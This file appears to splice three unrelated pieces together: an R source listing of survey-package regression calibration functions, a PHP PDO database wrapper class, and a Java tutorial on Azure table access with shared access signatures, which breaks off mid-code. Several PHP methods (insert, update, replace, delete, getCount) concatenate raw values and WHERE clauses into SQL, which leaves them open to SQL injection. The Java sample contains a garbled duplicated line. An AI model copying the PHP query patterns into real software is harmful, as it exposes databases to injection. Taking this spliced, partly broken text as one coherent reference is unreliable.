R/greg.R Defines functions regcalibrate.svyrep.design regcalibrate.survey.design2 regcalibrate.pps is.calibrated regcalibrate Documented in is.calibrated regcalibrate regcalibrate.survey.design2 regcalibrate.svyrep.design regcalibrate<-function(design, ...) UseMethod("regcalibrate") is.calibrated<-function(design){ !is.null(design$postStrata)} regcalibrate.pps<-function(design,formula, population, stage=NULL, lambda=NULL, aggregate.stage=NULL,...){ if (!is.null(stage) && !(stage==0)) stop("'stage' not supported for pps designs") if (!is.null(aggregate.stage)) stop("'aggregate.stage' not supported for pps designs") regcalibrate.survey.design2(design,formula, population, stage=NULL, lambda=NULL, aggregate.stage=NULL,...) } ## ## unbounded linear calibration using qr decomposition: less sensitive to ## collinearity than Deville & Sarndal's Newton algorithm. ## regcalibrate.survey.design2<-function(design, formula, population, stage=NULL, lambda=NULL, aggregate.stage=NULL, sparse=FALSE,...){ if (is.null(stage)) stage<-if (is.list(population)) 1 else 0 if (!is.null(aggregate.stage)){ aggindex<-design$cluster[[aggregate.stage]] } if(stage==0){ ## calibration to population totals if(sparse){ mm<-sparse.model.matrix(formula, model.frame(formula, model.frame(design))) }else{ mm<-model.matrix(formula, model.frame(formula, model.frame(design))) } ww<-weights(design) if (is.null(lambda)){ sigma2<-rep(1,nrow(mm)) }else if(length(lambda) == nrow(mm)){ # for the heteroskedasticity parameter sigma2<-drop(lambda) }else{ sigma2<-drop(mm%*%lambda) # to keep the same functionality when variance = 1 } if (!is.null(aggregate.stage)){ mm<-apply(mm,2,function(mx) ave(mx,aggindex)) ww<-ave(ww,aggindex) sigma2<-ave(sigma2,aggindex) } whalf<-sqrt(ww) sample.total<-colSums(mm*ww) if(any(sample.total==0)){ ## drop columsn where all sample and population are zero zz<-(population==0) & (apply(mm,2,function(x) all(x==0))) mm<-mm[,!zz] population<-population[!zz] sample.total<-sample.total[!zz] } if (!is.null(names(population))){ if (!all(names(sample.total) %in% names(population))){ warning("Sampling and population totals have different names.") cat("Sample: "); print(names(sample.total)) cat("Popltn: "); print(names(population)) } else if (!all(names(sample.total) == names(population))){ warning("Sample and population totals reordered to make names agree: check results.") population <- population[match(names(sample.total), names(population))] } } tqr<-qr(mm*whalf/sqrt(sigma2)) ## not needed ##if (is.null(lambda) && !all(abs(qr.resid(tqr,whalf*sigma2)/sigma2) <1e-5)) ## warning("Calibration models with constant variance must have an intercept") g<-rep(1,NROW(mm)) Tmat<-crossprod(mm*whalf/sqrt(sigma2)) tT<-solve(Tmat,population-sample.total) g<-drop(1+mm%*%tT/sigma2) design$prob<-design$prob/g caldata<- list(qr=tqr, w=g*whalf*sqrt(sigma2), stage=0, index=NULL) } else { ## Calibration within clusters (Sarndal's Case C) if (stage>NCOL(design$cluster)) stop("This design does not have stage",stage) if (!is.null(aggregate.stage)){ stop("aggregate= not implemented for calibration within clusters") } if (!all(length(population[[1]])==sapply(population,length))) stop("Population totals are not all the same length") clusters<-unique(design$cluster[,stage]) nc<-length(clusters) caldata<-list(qr=vector("list",nc), w=vector("list",nc), stage=stage,index=as.character(clusters)) if(sparse){ mm<-sparse.model.matrix(formula, model.frame(formula, model.frame(design))) }else{ mm<-model.matrix(formula, model.frame(formula, model.frame(design))) } if (is.null(lambda)){ sigma2<-rep(1,nrow(mm)) }else if(length(lambda) == nrow(mm)){ # for the heteroskedasticity parameter sigma2<-drop(lambda) }else{ sigma2<-drop(mm%*%lambda) # to keep the same functionality when variance = 1 } if(NCOL(mm)!=length(population[[1]])){ stop("Population and sample totals are not the same length.") } if (any(colnames(mm)!=names(population[[1]]))){ warning("Sampling and population totals have different names.") cat("Sample: "); print(colnames(mm)) cat("Popltn: "); print(names(population[[1]])) } stageweights<-1/apply(design$allprob[,1:stage,drop=FALSE],1,prod) if (any(duplicated(design$cluster[!duplicated(stageweights),stage]))) stop("Weights at stage", stage, "vary within sampling units") cwhalf<-sqrt(weights(design)/stageweights) dwhalf<-sqrt(weights(design)) tqr<-qr(mm) ## not needed ## if (is.null(lambda) && !all(abs(qr.resid(tqr,sigma2)) <1e-3)) ## stop("Calibration models with constant variance must have an intercept") for (i in 1:length(clusters)){ cluster<-clusters[[i]] these<-which(cluster == as.character(design$cluster[,stage])) mmi<-mm[these,,drop=FALSE] sample.total<-colSums(mmi*cwhalf[these]*cwhalf[these]) if(any(sample.total==0)){ ## drop columsn where all sample and population are zero zz<-(population[[i]]==0) & (apply(mmi,2,function(x) all(x==0))) mmi<-mmi[,!zz,drop=FALSE] population[[i]]<-population[[i]][!zz] sample.total<-sample.total[!zz] } tqr<-qr(mmi*cwhalf[these]/sqrt(sigma2[these])) Tmat<-crossprod(mmi*cwhalf[these]/sqrt(sigma2[these])) tT<-solve(Tmat,population[[i]]-sample.total) g<-drop(1+mmi%*%tT/sigma2[these]) design$prob[these]<-design$prob[these]/g caldata$qr[[i]]<-tqr caldata$w[[i]]<-g*stageweights[these]*sqrt(sigma2[these])*cwhalf[these]^2 } } class(caldata)<-"greg_calibration" design$postStrata<-c(design$postStrata, list(caldata)) design$call<-sys.call(-1) design } regcalibrate.svyrep.design<-function(design, formula, population,compress=NA,lambda=NULL, aggregate.index=NULL,sparse=FALSE,...){ mf<-model.frame(formula, design$variables) if(sparse){ mm<-sparse.model.matrix(formula, mf) }else{ mm<-model.matrix(formula, mf) } ww<-design$pweights if (is.null(lambda)){ sigma2<-rep(1,nrow(mm)) }else if(length(lambda) == nrow(mm)){ # for the heteroskedasticity parameter sigma2<-drop(lambda) }else{ sigma2<-drop(mm%*%lambda) # to keep the same functionality when variance = 1 } repwt<-as.matrix(design$repweights) if (!design$combined.weights) repwt<-repwt*design$pweights if (inherits(aggregate.index,"formula")){ if (length(aggregate.index)!=2) stop("aggregate.index must be a one-sided formula") aggregate.index<-model.frame(aggregate.index, design$variables) if (NCOL(aggregate.index)>1) stop("aggregate.index must specify a single variable") aggregate.index<-aggregate.index[[1]] } if (!is.null(aggregate.index)){ if (sqrt(max(ave(ww,aggregate.index,FUN=var),na.rm=TRUE))>1e-2*mean(ww)) warning("Sampling weights are not constant within clusters defined by aggregate.index") mm<-apply(mm,2,function(mx) ave(mx,aggregate.index)) ww<-ave(ww,aggregate.index) sigma2<-ave(sigma2,aggregate.index) repwt<-apply(repwt,2,function(wx) ave(wx, aggregate.index)) } whalf<-sqrt(ww) sample.total<-colSums(mm*ww) if(any(sample.total==0)){ ## drop columsn where all sample and population are zero zz<-(population==0) & (apply(mm,2,function(x) all(x==0))) mm<-mm[,!zz] population<-population[!zz] sample.total<-sample.total[!zz] } if(length(sample.total)!=length(population)){ stop("Population and sample totals are not the same length.") } if (!is.null(names(population)) && any(names(sample.total)!=names(population))){ warning("Sampling and population totals have different names.") cat("Sample: "); print(colnames(mm)) cat("Popltn: "); print(names(population[[1]])) } Tmat<-crossprod(mm*whalf/sqrt(sigma2)) tT<-solve(Tmat,population-sample.total) gtotal<-drop(1+mm%*%tT/sigma2) design$pweights<-design$pweights*gtotal for(i in 1:NCOL(repwt)){ whalf<-sqrt(repwt[,i]) Tmat<-crossprod(mm*whalf/sqrt(sigma2)) sample.total<-colSums(mm*whalf*whalf) g<-drop(1+mm%*%solve(Tmat,population-sample.total)/sigma2) repwt[,i]<-as.vector(design$repweights[,i])*g } if (!design$combined.weights) repwt<-repwt/gtotal if (compress || (is.na(compress && inherits(design$repweights,"repweights_compressed")))){ repwt<-compressWeights(repwt) } design$repweights<-repwt design$call<-sys.call(-1) design$degf<-NULL design$degf<-degf(design) design } Try the survey package in your browser Any scripts or data that you put into this service are public. survey documentation built on July 19, 2021, 9:06 a.m.
__label__pos
0.976036
PHP PDO 使用类 php 浏览数:338 2019-1-7 <?php class MYPDO { protected static $_instance = null; protected $dbName = ''; protected $dsn; protected $dbh; /** * 构造 * * @return MyPDO */ private function __construct() { try { $this->dsn = 'mysql:host=127.0.0.1;dbname=数据库名称;port=3306'; $this->dbh = new PDO($this->dsn,'账号','密码'); $this->dbh->exec('SET character_set_connection=utf8, character_set_results=utf8, character_set_client=binary'); } catch (PDOException $e) { $this->outputError($e->getMessage()); } } /** * 防止克隆 * */ private function __clone() {} /** * Singleton instance * * @return Object */ public static function getInstance() { if (self::$_instance === null) { self::$_instance = new self(); } return self::$_instance; } /** * Query 查询 * * @param String $strSql SQL语句 * @param String $queryMode 查询方式(All or Row) * @param Boolean $debug * @return Array */ public function query($strSql, $queryMode = 'All', $debug = false) { if ($debug === true) $this->debug($strSql); $recordset = $this->dbh->query($strSql); $this->getPDOError(); if ($recordset) { $recordset->setFetchMode(PDO::FETCH_ASSOC); if ($queryMode == 'All') { $result = $recordset->fetchAll(); } elseif ($queryMode == 'Row') { $result = $recordset->fetch(); } } else { $result = null; } return $result; } /** * select 查询所有记录 * @param string $sql sql语句 * @param Arrayt $where 查询条件 * @return $res; **/ public function select($sql,$where=''){ $stmt=$this->dbh->prepare($sql); if($where){ $stmt->execute($where); }else{ $stmt->execute(); } $res=$stmt->fetchAll(PDO::FETCH_ASSOC);//查询所有 return $res; } /** * find 查询单条记录 * @param string $sql sql语句 * @param Array $where 查询条件 * @return $res; **/ public function find($sql,$where=''){ $stmt=$this->dbh->prepare($sql); if($where){ $stmt->execute($where); }else{ $stmt->execute(); } $res=$stmt->fetch(PDO::FETCH_ASSOC);//查询单个 return $res; } /** * del 执行删除操作 * @param string $sql sql语句 * @param Array $where 查询条件 * @return $res; **/ public function del($sql,$where=''){ $stmt=$this->dbh->prepare($sql); if($where){ $stmt->execute($where); $res=$stmt->rowCount(); }else{ $res=false; } return $res; } /** * add 新增记录 * @param string $sql sql语句 * @param Array $data 新增内容 * @return $res; **/ public function add($table,$data=''){ $this->checkFields($table, $data); $sql = "INSERT INTO `$table` (".implode(',', array_keys($data)).") VALUES (:".implode(',:',array_keys($data)).")"; $stmt=$this->dbh->prepare($sql);//预处理语句 $ret=$stmt->execute($data);//新增的数据 $id=$this->dbh->lastInsertId();//新增的id if($ret){ $res=$id; }else{ $res=false; } return $res; } /** * save 修改记录 * @param string $sql sql语句 * @param Array $data * @return $res; **/ public function save($table,$data='',$where=''){ $this->checkFields($table, $data); if ($where) { $strSql = ''; foreach ($data as $key => $value) { $strSql .= ",$key=:$key"; } $strSql = substr($strSql,1); $strSql = "UPDATE `$table` SET $strSql WHERE $where"; } else { $strSql = ''; foreach ($data as $key => $value) { $strSql .= ",$key=:$key"; } $strSql = substr($strSql,1); $strSql = "UPDATE `$table` SET $strSql "; } // if ($debug === true) $this->debug($strSql); $stmt=$this->dbh->prepare($strSql);//预处理语句 $stmt->execute($data);//修改的数据 $ret=$stmt->rowCount();//获取影响行数 if($ret>0){ $res=true; }else{ $res=false; } return $res; } /** * Update 更新 * * @param String $table 表名 * @param Array $arrayDataValue 字段与值 * @param String $where 条件 * @param Boolean $debug * @return Int */ public function update($table, $arrayDataValue, $where = '', $debug = false) { $this->checkFields($table, $arrayDataValue); if ($where) { $strSql = ''; foreach ($arrayDataValue as $key => $value) { $strSql .= ", `$key`='$value'"; } $strSql = substr($strSql, 1); $strSql = "UPDATE `$table` SET $strSql WHERE $where"; } else { $strSql = "REPLACE INTO `$table` (`".implode('`,`', array_keys($arrayDataValue))."`) VALUES ('".implode("','", $arrayDataValue)."')"; } if ($debug === true) $this->debug($strSql); $result = $this->dbh->exec($strSql); $this->getPDOError(); return $result; } /** * Insert 插入 * * @param String $table 表名 * @param Array $arrayDataValue 字段与值 * @param Boolean $debug * @return Int */ public function insert($table, $arrayDataValue, $debug = false) { $this->checkFields($table, $arrayDataValue); $strSql = "INSERT INTO `$table` (`".implode('`,`', array_keys($arrayDataValue))."`) VALUES ('".implode("','", $arrayDataValue)."')"; if ($debug === true) $this->debug($strSql); $result = $this->dbh->exec($strSql); $this->getPDOError(); return $result; } /** * Replace 覆盖方式插入 * * @param String $table 表名 * @param Array $arrayDataValue 字段与值 * @param Boolean $debug * @return Int */ public function replace($table, $arrayDataValue, $debug = false) { $this->checkFields($table, $arrayDataValue); $strSql = "REPLACE INTO `$table`(`".implode('`,`', array_keys($arrayDataValue))."`) VALUES ('".implode("','", $arrayDataValue)."')"; if ($debug === true) $this->debug($strSql); $result = $this->dbh->exec($strSql); $this->getPDOError(); return $result; } /** * Delete 删除 * * @param String $table 表名 * @param String $where 条件 * @param Boolean $debug * @return Int */ public function delete($table, $where = '', $debug = false) { if ($where == '') { $this->outputError("'WHERE' is Null"); } else { $strSql = "DELETE FROM `$table` WHERE $where"; if ($debug === true) $this->debug($strSql); $result = $this->dbh->exec($strSql); $this->getPDOError(); return $result; } } /** * execSql 执行SQL语句 * * @param String $strSql * @param Boolean $debug * @return Int */ public function execSql($strSql, $debug = false) { if ($debug === true) $this->debug($strSql); $result = $this->dbh->exec($strSql); $this->getPDOError(); return $result; } /** * 获取字段最大值 * * @param string $table 表名 * @param string $field_name 字段名 * @param string $where 条件 */ public function getMaxValue($table, $field_name, $where = '', $debug = false) { $strSql = "SELECT MAX(".$field_name.") AS MAX_VALUE FROM $table"; if ($where != '') $strSql .= " WHERE $where"; if ($debug === true) $this->debug($strSql); $arrTemp = $this->query($strSql, 'Row'); $maxValue = $arrTemp["MAX_VALUE"]; if ($maxValue == "" || $maxValue == null) { $maxValue = 0; } return $maxValue; } /** * 获取指定列的数量 * * @param string $table * @param string $field_name * @param string $where * @param bool $debug * @return int */ public function getCount($table, $field_name, $where = '', $debug = false) { $strSql = "SELECT COUNT($field_name) AS NUM FROM $table"; if ($where != '') $strSql .= " WHERE $where"; if ($debug === true) $this->debug($strSql); $arrTemp = $this->query($strSql, 'Row'); return $arrTemp['NUM']; } /** * 获取表引擎 * * @param String $dbName 库名 * @param String $tableName 表名 * @param Boolean $debug * @return String */ public function getTableEngine($dbName, $tableName) { $strSql = "SHOW TABLE STATUS FROM $dbName WHERE Name='".$tableName."'"; $arrayTableInfo = $this->query($strSql); $this->getPDOError(); return $arrayTableInfo[0]['Engine']; } /** * beginTransaction 事务开始 */ public function beginTransaction() { $this->dbh->beginTransaction(); } /** * commit 事务提交 */ public function commit() { $this->dbh->commit(); } /** * rollback 事务回滚 */ public function rollback() { $this->dbh->rollback(); } /** * transaction 通过事务处理多条SQL语句 * 调用前需通过getTableEngine判断表引擎是否支持事务 * * @param array $arraySql * @return Boolean */ public function execTransaction($arraySql) { $retval = 1; $this->beginTransaction(); foreach ($arraySql as $strSql) { if ($this->execSql($strSql) == 0) $retval = 0; } if ($retval == 0) { $this->rollback(); return false; } else { $this->commit(); return true; } } /** * checkFields 检查指定字段是否在指定数据表中存在 * * @param String $table * @param array $arrayField */ private function checkFields($table, $arrayFields) { $fields = $this->getFields($table); foreach ($arrayFields as $key => $value) { if (!in_array($key, $fields)) { $this->outputError("Unknown column `$key` in field list."); } } } /** * getFields 获取指定数据表中的全部字段名 * * @param String $table 表名 * @return array */ private function getFields($table) { $fields = array(); $recordset = $this->dbh->query("SHOW COLUMNS FROM $table"); $this->getPDOError(); $recordset->setFetchMode(PDO::FETCH_ASSOC); $result = $recordset->fetchAll(); foreach ($result as $rows) { $fields[] = $rows['Field']; } return $fields; } /** * getPDOError 捕获PDO错误信息 */ private function getPDOError() { if ($this->dbh->errorCode() != '00000') { $arrayError = $this->dbh->errorInfo(); $this->outputError($arrayError[2]); } } /** * debug * * @param mixed $debuginfo */ private function debug($debuginfo) { var_dump($debuginfo); exit(); } /** * 输出错误信息 * * @param String $strErrMsg */ private function outputError($strErrMsg) { throw new Exception('MySQL Error: '.$strErrMsg); } /** * destruct 关闭数据库连接 */ public function destruct() { $this->dbh = null; } } ?>
__label__pos
0.999757
Export (0) Print Expand All Controlling Access to Azure Tables with Java Updated: October 1, 2014 This guide will show you how to perform common tasks using Azure tables. The samples are written in Java and use the Azure SDK for Java. The scenarios covered include adding, deleting, querying, and updating the information in tables. Access control is fundamental to using tables securely and productively in your Java applications and so samples are presented by the type of access control demonstrated: Shared Access Signatures and Stored Access policy. Anonymous users do not have access to Azure tables. The samples were all compiled and run as Java applications in Eclipse and using the Azure Toolkit for Eclipse with Java (by Microsoft Open Technologies). After reviewing the samples in the section about shared access signatures, you should be able to accomplish the following tasks with Java. • Create a new table in your storage account. • Delete a table in your storage account. • Generate a shared access signature (basic SAS) giving irrevocable temporary access to a table. • Generate a SAS giving access to a limited range of partition keys and row keys in a table. • Add a new entity into a table. • Delete an entity from a table. • Update an existing entity in a table. • Query a specific entity in a table. • Query all entities in a given partition of a table. • Upload a batch of entities into a table. • Provide access to a table without revealing the Azure storage account key. A shared access signature (SAS) contains all the information necessary to give any user controlled access to tables saved in an Azure storage account. There is no public access to tables for anonymous users that do not have a shared access signature or a stored access policy. A basic SAS is not associated with a shared access policy and will provide irrevocable access to any user in possession of the SAS for a limited time. A basic SAS has an expiration time which cannot be extended. Once a basic SAS has been distributed, it cannot be cancelled, access to the table can only be revoked prior to the expiration time by changing the Azure storage account key. An application in possession of the Azure storage key can generate a basic SAS for controlling access to a table saved in the storage account by specifying one or more of the following constants in the SharedAccessTablePermissions enum of a SharedAccessTablePolicy object. • NONE – Grant no access permissions to this table. • ADD – Add entities to a table. • DELETE – Delete entities from a table. • QUERY – Query the entities in a table. • UPDATE – Modify the entities in a table. For example, the following string represents a typical SAS containing all the information necessary to access the table named people. tn=people&sp=raud&sv=2012-02-12&se=2013-05-15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z&sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P The SAS can be appended to the public access url as query parameters to construct a SAS url. Because the SAS contains all the necessary information, any user in possession of this url has access. Note that to construct a working url, a query symbol (?) is required between the public access url and SAS. http://contoso.table.core.windows.net/people?tn=people&sp=raud&sv=2012-02-12&se=2013-05-15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z&sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P Once this url is distributed it cannot be cancelled or extended beyond the expiration time. It can give any application that obtains it add, delete, query, and update access to the table. It stops working after the expiration time and cannot be reactivated. The following Java code creates a table named people if it does not already exist. It generates a basic SAS string with an applicable time span of 1 hour. An applicable time span greater than 1 hour may be specified. The period of applicability starts immediately and expires one hour later. During the applicable time span, any user in possession of the SAS has ADD, DELETE, QUERY, and UPDATE access to the table. Rerunning this code a second time before the first expiration time does not revoke the permissions conveyed by the first SAS and old urls will continue to work. After the expiration time, a url appended with the expired SAS will not work. If this code is rerun after the expiration time, it generates a new valid SAS which can give permissions for another hour, but the old SAS is not reactivated. public class TableBasic { public static void main(String[] args) throws InvalidKeyException, URISyntaxException, StorageException { Account creds = new Account(); //Account key required to create SAS final String storageConnectionString = creds.getstorageconnectionstring(); CloudStorageAccount storageAccount = CloudStorageAccount.parse(storageConnectionString); CloudTableClient tabClient = storageAccount.createCloudTableClient(); CloudTable table = tabClient.getTableReference("people"); table.createIfNotExists(); SharedAccessTablePolicy policy = new SharedAccessTablePolicy(); GregorianCalendar calendar = new GregorianCalendar(TimeZone.getTimeZone("UTC")); calendar.setTime(new Date()); policy.setSharedAccessStartTime(calendar.getTime()); //Immediate applicability calendar.add(Calendar.HOUR, 1); //Applicable time-span is 1 hour policy.setSharedAccessExpiryTime(calendar.getTime()); //This SAS grants all the access permissions policy.setPermissions(EnumSet.of(SharedAccessTablePermissions.ADD, SharedAccessTablePermissions.DELETE, SharedAccessTablePermissions.QUERY, SharedAccessTablePermissions.UPDATE)); TablePermissions tabPermissions = new TablePermissions(); table.uploadPermissions(tabPermissions); String sas = table.generateSharedAccessSignature(policy, null, null, null, null, null); System.out.println("The shared access signature for the " + table.getName() + " table:"); System.out.println(sas); } } The Account class provides the Azure storage account name and the account key. You may also add metadata when you create the table. See the section titled Controlling Access to Azure Blob Containers with Java for code examples of how to write an Account class and for adding and reading metadata. During the one hour time span of SAS applicability, an application in possession of the SAS url for the table can write entries into the people table using Java code similar to the following. Each entry in the table is an instance of an entity class. For example, if the people table contains contact information for a group of people, the following code could be used to define an entity. Every entity is identified by its partitionKey and its rowKey. public class Entity extends TableServiceEntity { public Entity(String lastName, String firstName) { this.partitionKey = lastName; this.rowKey = firstName; } public Entity() { } String email; String phoneNumber; public String getEmail() { return this.email;} public void setEmail(String email) { this.email = email;} public String getPhoneNumber() { return this.phoneNumber;} public void setPhoneNumber(String phoneNumber) { this.phoneNumber = phoneNumber;} } You can grant different access permissions to different parts of the table by creating multiple shared access signatures. To limit the permissions granted by the shared access string to entities in a specified range of partition keys and row keys, modify the generateSharedAccessSignature method as follows in the previous code used to create the string. String sas = table.generateSharedAccessSignature(policy, null, <startPartitionKey>, <startRowKey>, <enPartitionKey>, <endRowKey>); This is possible to do with either shared access signatures or stored access policy. An example of granting different access permissions to different parts of a table is presented in the section that discusses stored access policy. The following Java code enables a user in possession of the SAS to add a new entry to the table without knowledge of the Azure storage account key. Note that there would be a conflict error if you tried to add an entity that already exists. You should use a delete and replace operation to modify an existing entity. public class AddEntity { public static void main(String[] args) throws URISyntaxException, StorageException { String sas = "tn=people&sp=raud&sv=2012-02-12&se=2013-05- 15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z &sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P"; StorageCredentialsSharedAccessSignature credentials = new StorageCredentialsSharedAccessSignature(sas); URI baseuri = new URI("http://contoso.table.core.windows.net"); CloudTableClient tableClient = new CloudTableClient(baseuri,credentials); CloudTable cloudTable = tableClient.getTableReference("people"); Entity customer1 = new Entity("Zee", "Bill"); customer1.setEmail("[email protected]"); customer1.setPhoneNumber("425-555-0101"); TableOperation insertCustomer1 = TableOperation.insert(customer1); cloudTable.execute(insertCustomer1); System.out.println("Add Entity has finished running."); } } The following Java code enables a user in possession of the SAS to retrieve the specific entry for “Bill Zee” from the people table without knowledge of the Azure storage account key. public class GetEntity { public static void main(String[] args) throws URISyntaxException, StorageException { String sas = "tn=people&sp=raud&sv=2012-02-12&se=2013-05- 15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z &sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P"; StorageCredentialsSharedAccessSignature credentials = new StorageCredentialsSharedAccessSignature(sas); URI baseuri = new URI("http://contoso.table.core.windows.net"); CloudTableClient tableClient = new CloudTableClient(baseuri,credentials); CloudTable cloudTable = tableClient.getTableReference("people"); TableOperation retrieveCustomer1 = TableOperation.retrieve("Zee","Bill",Entity.class); Entity specificEntity = cloudTable.execute(retrieveCustomer1).getResultAsType(); System.out.println(specificEntity.getEmail()); System.out.println(specificEntity.getPhoneNumber()); System.out.println("Get Entity has finished running."); } } Your application can also use a TableBatchOperation to add a batch of new entries to the table as follows. public class AddBatch { public static void main(String[] args) throws URISyntaxException, StorageException { String sas = "tn=people&sp=raud&sv=2012-02-12&se=2013-05- 15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z &sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P"; StorageCredentialsSharedAccessSignature credentials = new StorageCredentialsSharedAccessSignature(sas); URI baseuri = new URI("http://contoso.table.core.windows.net"); CloudTableClient tableClient = new CloudTableClient(baseuri,credentials); TableBatchOperation batchOperation1 = new TableBatchOperation(); TableBatchOperation batchOperation2 = new TableBatchOperation(); CloudTable cloudTable = tableClient.getTableReference("people"); Entity customer1 = new Entity("Smith", "Jeff"); customer1.setEmail("[email protected]"); customer1.setPhoneNumber("425-555-0104"); batchOperation1.insert(customer1); Entity customer2 = new Entity("Smith", "Ben"); customer2.setEmail("[email protected]"); customer2.setPhoneNumber("425-555-0102"); batchOperation1.insert(customer2); Entity customer3 = new Entity("Smith", "Denise"); customer3.setEmail("[email protected]"); customer3.setPhoneNumber("425-555-0103"); batchOperation1.insert(customer3); Entity customer4 = new Entity("Smith", "Julie"); customer4.setEmail("[email protected]"); customer4.setPhoneNumber("425-555-0100"); batchOperation1.insert(customer4); Entity customer5 = new Entity("Zee", "Laura"); customer5.setEmail("[email protected]"); customer5.setPhoneNumber("425-555-0101"); batchOperation2.insert(customer5); Entity customer6 = new Entity("Zee", "Smith"); customer6.setEmail("[email protected]"); customer6.setPhoneNumber("425-555-0101"); batchOperation2.insert(customer6); // Insert people with "Smith" as a last name. cloudTable.execute(batchOperation1); // Insert people with "Zee" as a last name. cloudTable.execute(batchOperation2); System.out.println("Add Batch has finished running."); } } Your application may retrieve only the entries for a particular partition by generating a filter condition based upon the value of the partition key. For example, the following Java code only returns the entries in the people table that are in the “Zee” partition. public class GetPartition { public static void main(String[] args) throws URISyntaxException { final String PARTITION_KEY = "PartitionKey"; final String ROW_KEY = "RowKey"; String sas = "tn=people&sp=raud&sv=2012-02-12&se=2013-05- 15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z &sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P"; StorageCredentialsSharedAccessSignature credentials = new StorageCredentialsSharedAccessSignature(sas); URI baseuri = new URI("http://contoso.table.core.windows.net"); CloudTableClient tableClient = new CloudTableClient(baseuri,credentials); CloudTable cloudTable = tableClient.getTableReference("people"); String partitionFilter = TableQuery.generateFilterCondition( PARTITION_KEY, QueryComparisons.EQUAL, "Smith"); TableQuery<Entity> partitionQuery = TableQuery.from(Entity.class).where(partitionFilter); for (Entity entity : cloudTable.execute(partitionQuery)) { System.out.println(entity.getPartitionKey() + " " + entity.getRowKey() + "\t" + entity.getEmail() + "\t" + entity.getPhoneNumber()); } System.out.println("Get Partition has finished running."); } } To modify an existing entity in a table, your application retrieves it from the table, makes changes to the entity object, and saves the changes back to the table service with a replace operation. The following code changes an existing person's phone number. Note that there would be a conflict error if you tried to add an entity that already exists. public class ModifyEntity { public static void main(String[] args) throws URISyntaxException, StorageException { String sas = "tn=people&sp=raud&sv=2012-02-12&se=2013-05- 15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z &sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P"; StorageCredentialsSharedAccessSignature credentials = new StorageCredentialsSharedAccessSignature(sas); URI baseuri = new URI("http://contoso.table.core.windows.net"); CloudTableClient tableClient = new CloudTableClient(baseuri,credentials); CloudTable cloudTable = tableClient.getTableReference("people"); TableOperation retrieveCustomer1 = TableOperation.retrieve("Zee","Smith",Entity.class); Entity specificEntity = cloudTable.execute(retrieveCustomer1).getResultAsType(); specificEntity.setPhoneNumber("555-555-5555"); TableOperation replaceEntity = TableOperation.replace(specificEntity); cloudTable.execute(replaceEntity); System.out.println(specificEntity.getEmail()); System.out.println(specificEntity.getPhoneNumber()); System.out.println("Modify Entity has finished running."); ning."); } } To delete an entity in a table, your application retrieves it from the table and then uses a table operation to delete it. The following code deletes the entity identified by the partitionKey and rowKey pair: “Zee” “Smith.” public class DeleteEntity { public static void main(String[] args) throws URISyntaxException, StorageException { String sas = "tn=people&sp=raud&sv=2012-02-12&se=2013-05- 15T17%3A20%3A36Z&st=2013-05-15T16%3A20%3A36Z &sig=nPPnPPnn5%5PPnPPnPPnPPPnnPPnPPnPnnnnPnn5nnPnP%5P"; StorageCredentialsSharedAccessSignature credentials = new StorageCredentialsSharedAccessSignature(sas); URI baseuri = new URI("http://contoso.table.core.windows.net"); CloudTableClient tableClient = new CloudTableClient(baseuri,credentials); CloudTable cloudTable = tableClient.getTableReference("people"); TableOperation retrieveCustomer1 = TableOperation.retrieve("Zee","Smith",Entity.class); Entity specificEntity = cloudTable.execute(retrieveCustomer1).getResultAsType(); TableOperation deleteEntity = TableOperation.delete(specificEntity); cloudTable.execute(deleteEntity); System.out.println(specificEntity.getEmail()); System.out.println(specificEntity.getPhoneNumber()); System.out.println("Delete Entity has finished running."); } } The Azure storage account key is required to delete the entire table from the storage account. The following code deletes the table people from the storage account. public class DeleteTable { public static void main(String[] args) throws URISyntaxException, StorageException, InvalidKeyException { // Account key required to delete a table Account creds = new Account(); final String storageConnectionString = creds.getstorageconnectionstring(); CloudStorageAccount storageAccount = CloudStorageAccount.parse(storageConnectionString); CloudTableClient tableClient = storageAccount.createCloudTableClient(); CloudTable table = tableClient.getTableReference("people"); System.out.println(table.getName() +" exists? "+ table.exists()); table.deleteIfExists(); System.out.println(table.getName() +" exists? "+ table.exists()); System.out.println("Delete Table has finished running."); } } After reviewing the samples in the stored access policy section, you should be able to accomplish the following tasks with Java. • Generate a policy SAS that gives access to a table that can be revoked, extended, or updated. • Cancel all table access urls after distribution without changing your Azure storage key. • Reactivate a table policy SAS after its expiration time. • Revoke or update table urls based on a policy SAS at any time. • Create multiple policies for a single table. • Use policy SAS and basic SAS together for maximum flexibility of table access control. Your application can have greater control over the access to tables by using a policy SAS rather than a basic SAS. A basic SAS limits the time span of applicability and cannot be extended or cancelled once it has been distributed. A policy SAS can be cancelled or modified at any time. Because the policy is saved with the queue rather than the SAS url, the policy can be updated without having to change the SAS string (or the urls distributed to users.) When the policy for the container is updated, all old urls that have been constructed using the policy SAS are reactivated with the updated policy. You do not need to redistribute the policy SAS to users to update them. The following Java code creates a table people1 with a policy named heath if people1 does not already exist. It generates a policy SAS string with an applicable time span of 3 hours. The period of applicability starts immediately and expires three hours later. During the applicable time span, any user in possession of this policy SAS has ADD, DELETE, QUERY, and UPDATE access to a specific range of entities in the table from partition keys “Smith” to “Smith” and from row keys “Denise” to “Julie .” After the expiration time, a url appended with the expired SAS will not work until it is reactivated by the storage account’s owner using the storage account key. public class TablePolicy { public static void main(String[] args) throws InvalidKeyException, URISyntaxException, StorageException { //Account key required to create SAS Account creds = new Account(); final String storageConnectionString = creds.getstorageconnectionstring(); CloudStorageAccount storageAccount = CloudStorageAccount.parse(storageConnectionString); CloudTableClient tabClient = 